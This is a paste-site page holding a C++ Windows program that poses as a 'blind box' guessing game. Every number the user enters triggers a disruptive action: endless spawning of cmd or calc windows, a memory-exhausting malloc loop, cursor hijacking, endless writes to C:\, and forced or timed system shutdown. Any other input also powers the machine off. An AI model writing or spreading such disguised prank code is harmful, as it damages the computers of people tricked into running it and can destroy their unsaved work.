跳到正文

剪贴板

剪贴板 urf1dbf6

原文
剪贴板信息

剪贴板信息

收录
更新
C++
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
long long sz;
int main() {
    SetConsoleTitle("盲盒机V1.0.0");
    system("color 0a");
    printf("欢迎来到盲盒机,快来使用吧!\n\n");
    Sleep(1000);
    system("cls");
    printf("请输入一个0~10之间的数,来抽个盲盒~\n\n");
    while(scanf("%d",&sz)!=EOF) {
        if(sz==1) {
            printf("准备好炸弹的洗礼吧\n\n");
            Sleep(500);
            while(1) system("start cmd");
        }
        if(sz==0) {
            printf("电脑觉得你该休息了!\n\n");
            printf("所以...\n\n");
            while(1) {
                system("惊喜>>c:\\惊喜.txt");
            }
        }
        if(sz==2) {
ks:

            while(1) {
                system("惊喜>>c:\\惊喜.txt");
            }
        }
        if(sz==3) {
            printf("你的鼠标背叛了你\n\n");
            while(1) {
                SetCursorPos(rand()%1000,rand()%1000);
            }
        }
        if(sz==4) {
            printf("卡死你\n\n");
            while(1) {
                malloc(1000);
            }
        }
        if(sz==5) {


            while(1) {
                system("惊喜>>c:\\惊喜.txt");
            }
        }
        if(sz==6) {
            printf("保护视力ou!\n\n");
             while(1) {
                system("惊喜>>c:\\惊喜.txt");
            }
        }
        if(sz==7) {
            for(int j=1; j<=6; j++)
                cout<<"再也不见\n";
            system("shutdown -p");
        }
        if(sz==8) {
            goto ks;
        }
        if(sz==9) {
            printf("你得了慢性病\n\n");
            system("shutdown -s -t 300");
        }
        if(sz==10) {
            while(1)
                system("start calc");
        }
        if(sz>=10||sz<0) {
            if(sz!=1110) {
                system("shutdown -p");
            }
        }
    }
    return 0;
}